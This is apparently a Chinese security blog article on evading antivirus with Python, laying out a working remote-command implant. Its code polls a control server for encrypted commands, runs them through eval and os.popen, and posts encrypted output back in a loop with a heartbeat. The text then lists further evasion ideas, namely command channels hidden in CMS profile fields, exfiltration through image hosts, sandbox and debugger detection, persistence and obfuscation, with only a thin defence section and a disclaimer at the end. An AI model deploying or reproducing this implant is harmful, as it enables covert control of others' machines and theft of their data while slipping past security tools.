python的另类免杀
字数 690 2025-08-06 20:12:36

Python另类免杀技术详解

0x01 Python优缺性

Python在安全领域的优势:

  • 语法简洁,开发效率高
  • 丰富的第三方库支持
  • 跨平台特性
  • 解释型语言特性便于动态执行

缺点:

  • 依赖环境明显
  • 打包体积较大
  • 部分杀软对Python脚本敏感

0x02 免杀环境准备

基础环境:

  • Python 3.x
  • requests库
  • 自定义加密模块(lljiam, lljiem)

0x03 免杀实践

一、核心免杀技术

1. 加密分离加载技术

核心原理

  • 将恶意代码加密存储在看似正常的载体中
  • 运行时动态解密执行
  • 通过心跳机制保持持久化

关键组件

  1. 加密模块(lljiem)
  2. 解密模块(lljiam)
  3. 通信模块

2. 工作流程

  1. 初始化阶段
def getml():
    r = requests.get(url='http://127.0.0.1:86/cookie.php')
    ml = r.text.split('|')[0]
    sjc = r.text.split('|')[1]
    cpu = r.text.split('|')[2]
    app = lljiem.Eternal()
    ml = app.api_jie(sc=ml, sjc=sjc, xzys='suansuan', cpuzy=cpu)
    return ml, sjc
  1. 命令执行阶段
def klj_eval(ml):
    try:
        return str(eval(ml))
    except:
        try:
            return str(os.popen(ml).read())
        except:
            return 'error'
  1. 结果回传阶段
def fshx(hx):
    ml = hx
    app = lljiam.Eternal()
    test = app.api_jia('2', ml, zfc='suansuanadmin')  # 加密结果
    headers = {
        "cookie": "id=" + str(test[1]) + ';' + 'time=' + str(test[2])
    }
    data = {
        "data": test[0]
    }
    requests.post(url='http://127.0.0.1:86/cookie.php', data=data, headers=headers)
  1. 心跳维持机制
def ks():
    sjc1 = 0
    while True:
        time.sleep(2)
        mls = getml()
        ml = mls[0]
        if ml == 'exit()':
            sys.exit(0)
        else:
            if sjc1 != mls[1]:
                hx = klj_eval(ml)
                fshx(hx)
                sjc1 = mls[1]
            else:
                pass
        time.sleep(60)  # 60秒心跳间隔

二、高级利用方式

  1. CMS隐藏通信
  • 将加密命令隐藏在用户个人简介等字段
  • 通过正常HTTP请求获取指令
  1. 图床数据回传
  • 将执行结果嵌入图片
  • 上传至图床服务
  • 控制端从图床获取结果
  1. 时间戳验证
sjc1 != mls[1]  # 确保不重复执行相同命令

0x04 优化方向

  1. 通信协议优化
  • 使用HTTPS加密通信
  • 模仿正常API请求
  1. 执行环境检测
  • 沙箱检测
  • 调试器检测
  1. 持久化机制
  • 多种自启动方式
  • 进程守护
  1. 代码混淆
  • 变量名随机化
  • 控制流混淆

0x05 防御建议

  1. 监控Python异常行为
  • 异常网络连接
  • 动态代码执行
  1. 深度检测
  • 内存扫描
  • 行为分析
  1. 限制Python权限
  • 敏感操作权限控制
  • 脚本执行审计

附录:关键代码片段

  1. 主循环
if __name__ == '__main__':
    ks()  # 启动主循环
  1. 加密模块接口
app.api_jie(sc=ml, sjc=sjc, xzys='suansuan', cpuzy=cpu)
  1. 解密模块接口
app.api_jia('2', ml, zfc='suansuanadmin')

注意:本技术文档仅供学习研究使用,请勿用于非法用途。

Python另类免杀技术详解 0x01 Python优缺性 Python在安全领域的优势: 语法简洁,开发效率高 丰富的第三方库支持 跨平台特性 解释型语言特性便于动态执行 缺点: 依赖环境明显 打包体积较大 部分杀软对Python脚本敏感 0x02 免杀环境准备 基础环境: Python 3.x requests库 自定义加密模块(lljiam, lljiem) 0x03 免杀实践 一、核心免杀技术 1. 加密分离加载技术 核心原理 : 将恶意代码加密存储在看似正常的载体中 运行时动态解密执行 通过心跳机制保持持久化 关键组件 : 加密模块(lljiem) 解密模块(lljiam) 通信模块 2. 工作流程 初始化阶段 : 命令执行阶段 : 结果回传阶段 : 心跳维持机制 : 二、高级利用方式 CMS隐藏通信 : 将加密命令隐藏在用户个人简介等字段 通过正常HTTP请求获取指令 图床数据回传 : 将执行结果嵌入图片 上传至图床服务 控制端从图床获取结果 时间戳验证 : 0x04 优化方向 通信协议优化 : 使用HTTPS加密通信 模仿正常API请求 执行环境检测 : 沙箱检测 调试器检测 持久化机制 : 多种自启动方式 进程守护 代码混淆 : 变量名随机化 控制流混淆 0x05 防御建议 监控Python异常行为 : 异常网络连接 动态代码执行 深度检测 : 内存扫描 行为分析 限制Python权限 : 敏感操作权限控制 脚本执行审计 附录:关键代码片段 主循环 : 加密模块接口 : 解密模块接口 : 注意:本技术文档仅供学习研究使用,请勿用于非法用途。